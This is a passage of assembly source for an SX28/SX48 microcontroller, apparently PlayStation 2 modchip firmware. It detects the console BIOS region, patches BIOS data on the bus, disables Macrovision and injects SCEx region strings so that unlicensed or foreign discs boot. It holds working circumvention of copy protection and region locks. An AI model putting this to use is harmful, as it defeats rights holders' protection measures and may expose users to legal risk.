(B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) IFDEF SX48 ;regs sx48 VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ELSE ;regs sx28 VAR_DC1 = $08 ; DS 1 ; delay counter 1(small) VAR_DC2 = $09 ; DS 1 ; delay counter 2(small) VAR_DC3 = $0A ; DS 1 ; delay counter 3(big) VAR_DC4 = $0b ; DS 1 ; delay counter 4 VAR_PSX_TEMP = $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BYTE = $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PATCH_FLAGS = $0E ; DS 1 VAR_SWITCH = $0F ; DS 1 VAR_BIOS_REV = $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR = $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP = $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_PSX_BITC = $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_PSX_BC_CDDVD_TEMP = $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect ENDIF ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 also used in conjuction with v12 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1 V12 LOGO PATCH JAP_V8 = VAR_SWITCH.2 ;Jap V8 with last rev of mechacon needing dragon patches abghi X_FLAG = VAR_SWITCH.3 ;xman patch 1 only for PS1 ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media DEV1_FLAG = VAR_SWITCH.4 ;DEV1 mode flag V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models V0_FLAG = VAR_SWITCH.6 ;V0 10-18K console flag ;;;; currently unused, for future ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 IFDEF SX48 org $0FFF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;** Reset of the chip **************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w IFDEF H2O75KJMPERS mov w,#$1e ;; extra needed for io v14jmp mov m,w mov w,#$be mov !IO_CDDVD_BUS,w ;; end extra io v14jmp ENDIF mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ELSE org $07FF reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;** Reset of the chip ****************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mode $000F mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ;to be sure ports are input ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ;.... mov w,#$ff ; 1111 1111 mov !ra,w ;... mode $000A ;set up edge register mov w,#$8 ; 0000 1000 mov !IO_CDDVD_BUS,w ;RB3 wait for LOW ( = 1 ),RB2 wait for hi ( =0 ) mode $0009 ;clear all wakeup pending bits clr w mov !IO_CDDVD_BUS,w mode $000B ;enable wakeup... mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ;... on RB3 ( eject ) & RB2 (reset) mode $000F sleep ;INIT_CHIP STARTUP ;here from stby & wake up... mode $000D ;TTL/CMOS mode... mov w,#$f7 ;1111 0111 mov !IO_CDDVD_BUS,w ;set IO_EJECT input as cmos ( level '1' > 2.5V ) work better with noise ... IFDEF H2O75KJMPERS mode $000E ;; h and f io jmpers needed/extra 75k/v8jap mov w,#$be ; 1011 1110 mov !IO_CDDVD_BUS,w ;; end ENDIF mode $000F ;port mode mov w,#$7 ; 0000 0111 mov !ra,w ;port mode : all input mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;rtcc enabled,no int,incr.on clock, prescaler (bit 2,1,0). ;read power down register clr fsr mode $0009 ;read power down register clr w ;clear W mov !IO_CDDVD_BUS,w ;exchange registers = read pending bits mov VAR_PSX_BITC,w ;save wake up status ... mode $000F ;need 'cause removed from patch disk for speed ! ENDIF ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND ;0 = power up from sleep , 1= power up from Power ON (STBY) snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 ;xcdvdman reload check page $0200 jmp IS_XCDVDMANX page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS ;reset all used flag... clr VAR_SWITCH jmp BIOS_GET_SYNC ;--------------------------------------------------------- ;Delay routine using RTCC ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- DELAY100m ;Precise delay routine using RTCC ;-------------------------------------------------------------------------------- mov w,#100;$64 mov VAR_DC1,w ;delay = 100 millisec. RTCC_SET_BIT mov w,#61;$3d mov rtcc,w ;load timer = 61 ; delay = (256-61)2560.02 micros.= 1000 micros. / 45 for 54M RTCC_CHECK mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z ;skip next bit if rtcc = 0 jmp RTCC_CHECK ;loop w=rtcc till equal then will skip decsz VAR_DC1 ;VAR_DC1 = 100 count then skip next bit jmp RTCC_SET_BIT retp ;Return from call ;-------------------------------------------------------------------------------- SET_INTRPT ;setup interrupt routine ;-------------------------------------------------------------------------------- IFDEF SX48 mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w retp ELSE mode $000A ;set up edge register mov w,#$6 ; 0000 0110 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense ;wait for low mode $0009 ;clear all wakeup pending bits clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; clear all wakeup pending bits ; set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ;enable interrupt ; MIWU operation. see Section 4.4. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enable interrupt mode $000F ; XFh mode direction for RA, RB, RC output retp ENDIF ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX ; SCEX HI ; Delay About 5mS mov w,#59;$3b mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 set for 50mhz mov VAR_DC2,w not ra :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX ; SCEX LOW ; Delay About 5mS+ mov w,#59;$3b mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 for 50mhz mov VAR_DC2,w snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp :loop2 setb SCEX_FLAG :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; JAP 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; UK 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- IFDEF SX48 snb USA_FLAG jmp usa ;; idea for space usa flow trigger snb UK_FLAG jmp uk jmp jap usa clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#$4 mov VAR_DC4,w SCEx_IO_SET mov w,#$1f mov m,w mov w,#$b mov !ra,w mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$1f mov m,w mov w,#$f mov !ra,w ret ELSE snb JAP_FLAG jmp jap snb UK_FLAG jmp uk clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#8;$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#4;$4 mov VAR_DC4,w jmp SCEx_IO_SET SCEx_IO_SET mov w,#4;$4 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$b mov !ra,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#8;$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#22;$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$f mov !ra,w ret ENDIF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low nop ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop ENDIF mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z ;; alt v0 ident if C jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION nop ;; extra sx28 ENDIF mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REGION_TEMP,w ;store byte7 in VAR_BIOS_REGION_TEMP CHECK_BYTE_AB_REGION_CAPTURE_YR IFDEF SX48H2O75KJMPERSTRIM call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low ELSE snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CHECK_BYTE_AB_REGION_CAPTURE_YR nop ;; extra sx28 ENDIF mov w,#$30 ; ASCII 0 is byteA mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteA not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 is byteB mov w,IO_BIOS_DATA-w sb z jmp CHECK_BYTE_AB_REGION_CAPTURE_YR ;loopback if byteB not 0 CHECK_BYTE_AB_REGION_CAPTURE_YR call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_YR,w ;captured byteC mov w,#$41 ;is byte7 ASCII A usa bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if A snb z ;if compare dont = 0 (A) skip next line jmp BIOS_USA mov w,#$57 ;is byte7 ASCII W v14/75k+ bios mov w,VAR_BIOS_REGION_TEMP-w snb z jmp BIOS_V14 mov w,#$45 ;is byte7 ASCII E europe bios mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if E snb z ;if compare dont = 0 (E) skip next line jmp BIOS_UK mov w,#$52 ;is byte7 ASCII R ; 'R', uk ; RUS 39008 fix ; russia region which is pal mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if R snb z ;if compare dont = 0 (R) skip next line jmp BIOS_UK mov w,#$43 ;is byte7 ASCII C ; china region which pal region but ps2 ntsc-c made mov w,VAR_BIOS_REGION_TEMP-w ;capture byte7 compare to VAR_BIOS_REGION_TEMP if C snb z ;if compare dont = 0 (C) skip next line jmp BIOS_UK jmp BIOS_JAP ; no match on byte7 compares, assumed is jap region BIOS_USA setb USA_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_V14 setb V14_FLAG IFDEF H2O75KJMPERS clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f ; check if USA JMPER set for v14 jmp BIOS_USA ENDIF IFDEF USAv14 jmp BIOS_USA ENDIF IFDEF JAPv14orv8 jmp BIOS_JAP ENDIF BIOS_UK setb UK_FLAG jmp RESTDOWN_CHK_PS2MODEorOTHER BIOS_JAP setb JAP_FLAG RESTDOWN_CHK_PS2MODEorOTHER snb IO_REST jmp TAP_BOOT_MODE ;DVD movie : GREEN fix + MACROVISION off MACRO_CHECK_IF_V9to14 setb PSX_FLAG mov w,#$30 ; is bios 2.0 for v12 ;V12 use V910 kernel :) mov w,VAR_BIOS_REV-w snb z jmp MACRO_BIOS_PATCH_SYNC_V9toV14 mov w,#$37 ; is bios 1.7 for v9-10 ;select KERNEL TYPE V9 or V10 mov w,VAR_BIOS_REV-w snb z jmp MACRO_BIOS_PATCH_SYNC_V9toV14 mov w,#$39 ; is bios 1.9 for v11 mov w,VAR_BIOS_REV-w snb z jmp MACRO_BIOS_PATCH_SYNC_V9toV14 snb V14_FLAG ; is v14 flag set from W region, should work all decka 75k+ jmp MACRO_BIOS_PATCH_SYNC_V9toV14 ;V1-8 kernels: sync 1E006334 then 2410 mov w,#50;$32 ; v1-8 bios VAR_DC1 set fall over no match for mov VAR_DC1,w MACRO_BIOS_PATCH_SYNC_V1toV8 snb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V1toV8 nop mov w,#$1e mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$63 mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V1toV8 call BIOS_WAIT_OE_LO_P1 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V1toV8 MACRO_BIOS_PATCH_SYNC_V1toV8_L1 snb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V1toV8_L1 nop mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V1toV8_L1 call BIOS_WAIT_OE_LO_P1 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V1toV8_L1 MACRO_BIOS_PATCH_SYNC_V1toV8_L2 sb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V1toV8_L2 ; next byte / wait for bios OE low MACRO_BIOS_V1toV8_PATCH snb IO_BIOS_OE jmp MACRO_BIOS_V1toV8_PATCH decsz VAR_DC1 jmp MACRO_BIOS_PATCH_SYNC_V1toV8_L2 mov w,#$0 mov IO_BIOS_DATA,w ; preload IO_BIOS_DATA for 0 for when change to output IFDEF SX48 mov w,#$1f mov m,w ELSE mode $000F ; XFh mode direction for RA, RB, RC output ENDIF call BIOS_WAIT_OE_LO_P1 mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w MACRO_BIOS_V1toV8_IORESET_INPUT sb IO_BIOS_OE jmp MACRO_BIOS_V1toV8_IORESET_INPUT ; last 00 patch before set input mov w,#$ff mov !IO_BIOS_DATA,w jmp MODE_SELECT_START ;exit KERNEL PATCH ; V9/V10/V12 kernels ;kernel_V910 ;Kstart_l0 MACRO_BIOS_PATCH_SYNC_V9toV14 snb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V9toV14 ; patch 25 10 43 00 to 00 00 00 00 nop mov w,#$dc mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V9toV14 MACRO_BIOS_PATCH_SYNC_V9toV14_L1 sb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V9toV14_L1 MACRO_BIOS_PATCH_SYNC_V9toV14_L2 snb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V9toV14_L2 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V9toV14 MACRO_BIOS_PATCH_SYNC_V9toV14_L3 sb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V9toV14_L3 MACRO_BIOS_PATCH_SYNC_V9toV14_L4 snb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V9toV14_L4 mov w,#$10 mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V9toV14 MACRO_BIOS_PATCH_SYNC_V9toV14_L5 sb IO_BIOS_OE jmp MACRO_BIOS_PATCH_SYNC_V9toV14_L5 MACRO_BIOS_V9toV14_PATCH1 snb IO_BIOS_OE jmp MACRO_BIOS_V9toV14_PATCH1 mov w,#$45 mov w,IO_BIOS_DATA-w sb z jmp MACRO_BIOS_PATCH_SYNC_V9toV14 mov w,#$0 mov IO_BIOS_DATA,w ; preload IO_BIOS_DATA for 0 for when change to output IFDEF SX48 mov w,#$1f mov m,w ELSE mode $000F ; XFh mode direction for RA, RB, RC output ENDIF mov w,#$0 ; 0000 0000 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins output start patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins input patch end for more sync ;************************************************************************************************ ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************ ;TEST_RESET MODE_SELECT_START mov w,#10;$a ; 10x100ms ;test RESET for about 1sec mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 ; repeat n jump to HOLD_BOOT_MODES if under 1sec so tap 1+1=2sec jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST ;wait RESET release for PS1_MODE jmp MODE_SELECT_TIMER_L2 mov w,#5;$5 ;debounce RESET for about 0.5 sec buffer for not exact 2sec hold mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m ;test RESET again for about 10.0 sec. decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#100;$64 mov VAR_DC2,w ;test_l3 DISABLE_MODE call DELAY100m ;4secs = DISABLE_MODE but retap of reset within 10sec for DEV1 sb IO_REST ;resetted ...enter DEV mode page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE ;...sleep chip , can't wake up without put PS2 into stby sleep ;RESET0 TAP_BOOT_MODE clr fsr clrb PSX_FLAG ;RESET_DOWN HOLD_BOOT_MODES snb DEV1_FLAG ;reenter dev mode if rest in dev mode page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST ;soft reset may need more than 1 disk patch he he he .... clrb EJ_FLAG setb X_FLAG ;first XMAN patch flag clrb V12LOGO_FLAG ;clear V12 logo flag patch page $0200 jmp PS2_MODE_START ;PS2 osd patch or PS1DRV init... (based on psx_flag status) ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr sb PSX_FLAG page $0400 jmp START_PS2LOGO_PATCH_LOAD ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST ;here from eject jmp TAP_BOOT_MODE ;reset snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for tray closed... ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#5;$5 ;Precise delay routine using RTCC mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#100;$64 ;delay = 100 millisec. mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#61;59;$3b ;load timer=61,delay = (256-61)2560.02 micros.= 1000 micros. mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS ;wait again 500msec if bios cs active jmp RESUME_MODE_FROM_EJECT sb IO_REST ;new reset check here ... jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ; mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT ;better here .... clr fsr snb DEV1_FLAG page $0600 jmp START_CDDVD_PATCH ;patch media for DEVMODE mov w,#2;$2 mov VAR_DC4,w mov w,#$32 ;ASCI 2 mov w,VAR_BIOS_YR-w ; is 2002 Year console snb z jmp CONSOLE_2002_JMP ;# of ps2logo patch for PS2 V7 mov w,#1;$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0600 IFDEF H2O75KJMPERS clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f ; Check USA JMPER here for v8 Jap console setb JAP_V8 ENDIF IFDEF JAPv14orv8 setb JAP_V8 ENDIF jmp START_CDDVD_PATCH ;patch ps2 CD/DVD ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;autosend correct # of SCEX (max value help bad optics) ;) ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP ; loop sending SCEX jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT ;send all scex after bios patch then sleep mov w,#2;$2 mov VAR_DC4,w ;# of PS1DRV patch for PS2 V7 mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#1;$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb V14_FLAG ; check if V14_FLAG set meaning v14/75k decka jmp PS1_V14_PATCH snb UK_FLAG ; fix for ntsc/pal ps1 route v1-12 page $0400 jmp PS1_CONSOLE_PAL_YFIX ; jmp to pal start if pal console page $0400 jmp PS1_LOGO_PATCH ; fall over to ntsc start if no pal flag set ;V14DRV1 PS1_V14_PATCH mov w,#49;$31 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0400 jmp PS2_PS2LOGO::loop00x ;exec psxdrv patch + logo1 + set EJect flag and ret to PSX_PATCH org $0200 ; PAGE2 200-3FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- IFDEF SX48RAM mov w,indf mov IO_BIOS_DATA,w inc fsr RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP decsz VAR_DC2 jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE jmp END_BIOS_PATCHES_SRAM_RESET_IO mov w,#$ff mov !IO_BIOS_DATA,w clr fsr retp ELSE mov w,indf ; SRAM address moved to w and output to IO_BIOS_DATA mov IO_BIOS_DATA,w inc fsr ; +1 to step through the SRAM cached patches mov w,#$10 ; 10h or so always in SRAM address section 6.2.1 or fsr,w ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE ; next byte / wait for bios OE low jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP 